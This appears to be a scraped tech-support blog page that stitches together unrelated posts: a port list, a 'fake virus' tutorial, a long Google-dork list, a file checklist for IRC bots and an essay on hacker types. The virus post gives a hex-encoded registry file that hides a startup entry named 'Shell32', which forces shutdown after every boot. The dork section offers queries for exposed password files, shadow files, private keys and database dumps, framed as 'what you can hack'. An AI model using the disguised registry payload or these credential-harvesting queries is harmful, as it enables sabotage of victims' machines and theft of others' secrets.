Linux technical support, Technical Blogs, Cheap dedicated server support, Cheap linux dedicated server support, Cheap windows dedicated server, Dedicated server support, Data center Operation, System Administration, Bash and perl scripts for server maintainance

11/TCP,UDP SYSTAT protocol Official
13/TCP,UDP DAYTIME protocol (RFC 867) Official
15/TCP,UDP NETSTAT protocol Deprecated
20/TCP FTP—data Official
21/TCP FTP—control (command) Official
22/TCP,UDP Secure Shell (SSH)—used for secure logins, file transfers (scp, sftp) and port forwarding Official
23/TCP,UDP Telnet protocol—unencrypted text communications Official
25/TCP,UDP Simple Mail Transfer Protocol (SMTP)—used for e-mail routing between mail servers Official
43/TCP WHOIS protocol Official
53/TCP,UDP Domain Name System (DNS) Official
80/TCP Hypertext Transfer Protocol (HTTP) Official
110/TCP Post Office Protocol 3 (POP3) Official
143/TCP,UDP Internet Message Access Protocol (IMAP)—used for retrieving, organizing, and synchronizing e-mail messages Official
156/TCP,UDP SQL Service Official
443/TCP Hypertext Transfer Protocol over TLS/SSL (HTTPS)
465/TCP SMTP over SSL Unofficial
587/TCP e-mail message submission[10] (SMTP) Official
636/TCP,UDP Lightweight Directory Access Protocol over TLS/SSL (LDAPS) Official
694/UDP Linux-HA High availability Heartbeat Unofficial
873/TCP rsync file synchronisation protocol Official
991/TCP,UDP NAS (Netnews Administration System)
992/TCP,UDP TELNET protocol over TLS/SSL Official
993/TCP Internet Message Access Protocol over SSL (IMAPS) Official
995/TCP Post Office Protocol 3 over TLS/SSL (POP3S)

8080/TCP Apache Tomcat Unofficial
8118/TCP Privoxy—advertisement-filtering Web proxy Official

This tutorial will help a user to create a fake virus………which will force the system to restart or shutdown after a specific period of time……

Warning: Use it at your own risk. I’ll not be responsible for any kind of damage/problem in your system.

Well….. We all are aware of this program called SHUTDOWN.EXE which allows us to easily create icons to shutdown or restart our computer.

Quote:

Shutdown [{-l|-s|-r|-a}] [-f] [-m [\\ComputerName]] [-t xx] [-c “message”] [-d[u][p]xx:yy]

Parameters
-l - Logs off the current user, this is also the defualt. -m ComputerName takes
precedence.
-s - Shuts down the local computer.
-r - Reboots after shutdown.
-a - Aborts shutdown. Ignores other parameters, except -l and ComputerName.
You can only use -a during the time-out period.
-f - Forces running applications to close.
-m [\\ComputerName] - Specifies the computer that you want to shut down.
-t xx - Sets the timer for system shutdown in xx seconds. The default is 20
seconds.
-c “message” - Specifies a message to be displayed in the Message area of the
System Shutdown window. You can use a maximum of 127 characters. You must enclose the message in quotation marks.

We use this handy shortcut in Creating a Shutdown/Reboot Icon.
But this time It will be used for creating a virus……….

Method One

* Just open Notepad and paste the given code and then save the file with the name “Mr. Virus .reg” and then run the file. It’ll ask for confirmation, simply click on YES and then OK.

Code:

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] “Shell32″=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,73,00,\ 79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,75,00,74,00,64,\ 00,6f,00,77,00,6e,00,2e,00,65,00,78,00,65,00,20,00,2d,00,73,00,20,00,2d,00,\ 74,00,20,00,33,00,30,00,30,00,20,00,2d,00,63,00,20,00,22,00,59,00,6f,00,75,\ 00,72,00,20,00,43,00,6f,00,6d,00,70,00,75,00,74,00,65,00,72,00,20,00,69,00,\ 73,00,20,00,69,00,6e,00,66,00,65,00,63,00,74,00,65,00,64,00,20,00,77,00,69,\ 00,74,00,68,00,20,00,76,00,69,00,72,00,75,00,73,00,20,00,40,00,52,00,6f,00,\ 6e,00,61,00,6b,00,20,00,41,00,67,00,72,00,61,00,77,00,61,00,6c,00,22,00,00,\ 00

* Restart Your PC to see the Effects.

Method Two

* Click Start > Run.

* Type regedit and press Enter after Run Window emerges.

* Go To

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run

Note
HKEY_LOCAL_MACHINE
This hive contains information about the computer itself, as well as about the operating system. It includes specific details about all hardware, including keyboard, printer ports, storage—the entire hardware setup. In addition, it has information about security, installed software, system startup, drivers, services, and the machine’s specific XP configuration.

* Click on Edit Menu > New > Expanded string value

Note
Expanded string value data type contains variables that Windows uses to point to the location of files. For example, to point to the location of the Luna theme file, the expanded string value in the Registry is %SystemRoot%\resources\Themes\Luna.theme.

* Name the String value as “Shell32”.

* Now, Double click on it to and Set its value as

%windir%\system32\shutdown.exe -s -t 300 -c “Your Computer is infected with virus @Mr. Virus”

Restart your PC to see the effects……….
====

Try this in google and you can see what you can hack from it.inurl:index.of.password
Directory listing contains password file(s)?
intitle:”Index of” service.pwd
Directory listing contains service.pwd file(s)
intitle:”Index of” view-source
Directory listing contains view-source file(s)
intitle:”Index of” admin
Direcory listing contains administrative files or directories
intitle:”Index of” .htpasswd
Directory listing contains .htpasswd file!
intitle:”Index of” log.txt
Directory listing contians log text files
intitle:”Index of” stats.html
Directory listing contains stats.html which may contain useful web server statistics
“access denied for user” “using password”
Web page contains error message which might provide useful application information
“A syntax error has occurred” filetype:ihtml
Web page contains error message which might provide useful application information
“ORA-00921: unexpected end of SQL command”
Web page contains error message which might provide useful application information
inurl:passlist.txt
The passlist.txt file may contain user passwords
“Index of /backup”
Directory may contain sensitive backup files
intitle:”Index of” .bash_history
Directory listing contains bash history information
intitle:”Index of” index.html.bak
Directory listing contains backup index file (index.html.bak)
intitle:”Index of” index.php.bak
Directory listing contains backup index file (index.html.bak)
intitle:”Index of” guestbook.cgi
Directory listing contains backup index file (index.html.bak)
intitle”Test Page for Apache”
Default test page for Apache
intitle:index.of.etc
Directory listing of /etc ?
filetype:xls username password
XLS spreadseet containing usernames and passwords?
“This file was generated by Nessus”
Nessus report!
intitle:”Index of” secring.bak
Secret key file
intitle:”Terminal Services Web Connection”
Access terminal services!
intitle:”Remote Desktop Web Connection”
Access Remote Desktop!
intitle:”Index of” access_log
Directory listing contains access_log file which may store sensitive information
intitle:”Index of” finance.xls
Directory listing contains finance.xls which may contain sensitive information
intitle:”Usage Statistics for”
Statistical information may contain sensitive data
intitle:”Index of” WSFTP.LOG
WSFTP.LOG file contains information about FTP transactions
intitle:”Index of” ws_ftp.ini
The ws_ftp.ini file may contain usernames and passwords of FTP users
“not for distribution” confidential
URL may contain confidential or sensitive information
“phpMyAdmin” “running on” inurl:”main.php”
phpMyAdmin allows remote mysql database administration
“#mysql dump” filetype:sql
mysql database dumps

inurl:php.ini filetype:ini
The php.ini file may contain sensitive PHP environment details.
BEGIN (CERTIFICATE|DSA|RSA) filetype:key
Private key(s)!
BEGIN (CERTIFICATE|DSA|RSA) filetype:csr
Private key(s)!
BEGIN (CERTIFICATE|DSA|RSA) filetype:crt
Private key(s)!
intitle:”Index of” passwd passwd.bak
passwd file!
intitle:”Index of” master.passwd
master.passwd file!
intitle:”Index of” pwd.db
pwd.db file may contain password information
intitle:”Index of..etc” passwd
passwd file!
filetype:cfg ks intext:rootpw -sample -test -howto
This file may contain the root password (encrypted)
intitle:”index.of.personal”
Directory may contain sensitive information
intitle:”Index of” login.jsp
The login.jsp file may contain database username or password information
intitle:”Index of” logfile
Directory may contain sensitive log files
filetype:php inurl:”viewfile” -”index.php” -”idfil
File may contain PHP source code
allinurl:intranet admin

“index of/root”
“auth_user_file.txt”
“index of/root”
“Index of /admin”
“Index of /password”
“Index of /mail”
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype oc
allintitle: restricted filetype :mail
allintitle: restricted filetype oc site:gov
allinurl: winnt/systpem32/
intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.lst
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members OR accounts
intitle:”index of” user_carts OR user_cart

INTITLE - search for string in title
intitle:”michael moore”

ALLINTITLE - search strings in title
allintitle:”michael moore” films

INURL - search for string in the url
inurl:”michael moore”

INTEXT - search for the string in the site body
intext:”angry white men”

SITE - search specific domains
“virus” site:infosec.navy.mil

LINK - locate sites linking to the site entered
link:www.pogo.com

CACHE - search google site cache
cache:www.whitehouse.gov

DATERANGE - search within a date range (julian)
“michael moore” daterange:2452389-2452389

FILETYPE - locate files (don’t list any html pages, just the files)
“economic disaster” filetype:pdf -filetype:htm -filetype:html

RELATED - locate pages that are related (similar)
related:www.usatoday.com

INFO - locates links about site
info:www.2600.com

PHONEBOOK - locates phone numbers
phonebook:”fred stanley”

STOCKS - stock info
stocks:msft

BOOLEAN LOGIC

- “AND”, “I”, “a”, “The”, and “Of” are ignored
- a pipe “|” is treated as “OR”
- a minus symbol “-” eliminates the string from results
- wildcard “*” can be used on words, not characters
(”three * mice” = “three blind mice”)
- 10 word limit. Use wildcards like “do as * say not as * do”

Triggers and Switches

- ! = Initializes the “I’m Feeling Lucky” search option
intitle:”Directory of” sexually transmitted diseases -inurl:book -inurl:products

- ?? = searches the google directory
?? “michael moore”

- , = searches usenet database (google groups)
, group:sci.med* hiv

/images = searches google images
intitle:cheerleaders -filetype:htm -filetype:html /images

/news = searches google news
intitle:”saddam hussein” /news

/since = days ago
“george bush” /since:365

Google URLs

The query “three blind mice” returns
http://www.google.com/search?num=100&hl=en&q=%22three+blind+mice%22&as_qdr=m6&safe=off

query = q=%22three+blind+mice%22&as_qdr=m6&safe=off
num = number of results (1-100)
as_qdr=mx =specifies age of site (x= amount of months)
safe=off =content filter (on or off)

The Good Stuff

1. Vulnerable Servers (Mic*ft Based)

http://www.google.com/search?num=100&hl=en&safe=off&q=intitle%3A%22index+of+%2F%22+%22parent+directory%22+intitle%3A%22mp3%22+-filetype%3Ahtm+-filetype%3Ahtml

Runs this Query
intitle:”index of /” “parent directory” intitle:”mp3″ -filetype:htm -filetype:html

DESCRIPTION : searches for misconfigured web-servers with an open “/” root path and a folder named MP3s

2. Vulnerable Apache Servers (UNIX Based)

http://www.google.com/search?num=100&hl=en%safe=off&q=%2B%22index+%2Bof%2Fmp3%22+%2Bbeatles

Runs this Query
+”index +of/mp3″ +beatles

DESCRIPTION : searches for misconfigured paths containing mp3s

3. Password Snatching

http://www.google.com/search?hl=en&as_qdr=all&q=%22http%3A%2F%2Fbob%3Abob%40www%22&btnG=Google+Search

Runs this Query
“http://bob:bob@www” or “http://12345:54321@www”

DESCRIPTION : Searches for password files people save on their hard drives

4. Locate specific site info and passes

http://www.google.com/search?hl=en&q=%22http%3A%2F%2F%2A%3A%2A%40www%22+teenagepanties&btnG=Google+Search

Runs this Query
“http://*:*@www” teenagepanties

5. Warez locator Queries

http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=off&q=intitle%3A%22index+of+%2F%22+%22parent+directory%22+%2B%22%2A.nfo%22+%2B%22%2A.rar%22+%2B%22%2A.r05%22+%2B%22%2A.r10%22+-filetype%3Ahtm+-filetype%3Ahtml&btnG=Google+Search

Runs this Query
intitle:”index of /” “parent directory” +”*.nfo” +”*.rar” +”*.r05″ +”*.r10″ -filetype:htm -filetype:html

intitle:”paris hilton”+”index of ” +”parent directory” +”mpg” -filetype:htm -filetype:html

Greetings,

Check following files for it. If thats under users home directory then remove it from there.

locate irc
locate eggdrop
locate bnc
locate BNC
locate ptlink
locate BitchX
locate guardservices
locate psyBNC
locate .rhosts

Thank you

Darsh

Greetings,

If you want to check taht some port is open or not on your server then you can check that from here..

http://webtools.live2support.com/nt_cport.php

Or simply

telnet SErver_IP_here Port_no

if you see anything there then port is open else its not.

Enjoy..

Greetings,

If you want to be a real hacker within short span of time then you can’t learn hacking in just 1 stroke…u need to understand to coding of C or the basics of the system as well as networking to learn any other languages
Hacking and Hacker
~ ~ ~ ~ ~ ~ ~ ~
Hacking is the organised or unorganised access of another computer in a network.The network can be LAN/WAN/MAN.According to my knowledge I think that Russians are the first hackers.But now U.S.A and other countries stand best for it. Hackers are the people who hack a system in network.

There are three types of hackers.They are :-
1) White-Hat Hackers
~ ~ ~ ~ ~ ~ ~ ~
This are the hackers who hack a network to check the security holes. He use his knowledge to make better security for users.He share his knowledge with others.Ethical hackers or simply hackers are under this group.

2) Black-Hat Hackers
~ ~ ~ ~ ~ ~ ~ ~
This are the hackers who hack a network and distroy all he wants and he do harm to every one.He works for black undergrounds.He create viruses,worms and he bombs anonymous mails,and he uses D.O.S (Denial Of Service) attack to make a server hang and become offline.He is called Cracker.If you see some sites with skulls and some XXX pictures it can be crackers site.He don’t want to share his knowledge and he want to misguide newbies to nithing and fed-up with disappointment.

3) Brown-Hat Hackers
~ ~ ~ ~ ~ ~ ~ ~
This are the people who are in between Hackers and Crackers.They some times hack and else crack.They are cool people and share there knowledge to there friends or he people of his country. I think you got some ideas about hackers and crackers.So beware !!! There are more other peoples in this cyber world like Script Kiddies,Lamers etc..Script Kiddies are the people who uses others tools and others exploits to hack.They don’t want to know more about hacking and they don’t want to study hacking but want to hack.They are the people who don’t think and are the most fuckiest among proclaimed hackers.
Lamers are the real fools who say that they are hacker and they are going to hack you and kill your system.They fires that they can hack mail passwords and get inside your account.They simply ‘Blah…Blah…Blah’. But this idiots can’t do anything.They send viruses and worms they get and don’t know even the basics of hacking.They will never become a hacker or cracker.They will simply get caught by the police after some lamer attempts.

So this is the basic of hackers and hacking.The one important thing in hacking is that you should have patients.The studying of hacking takes years and you are always
studying and sharing.

Regards,

Jason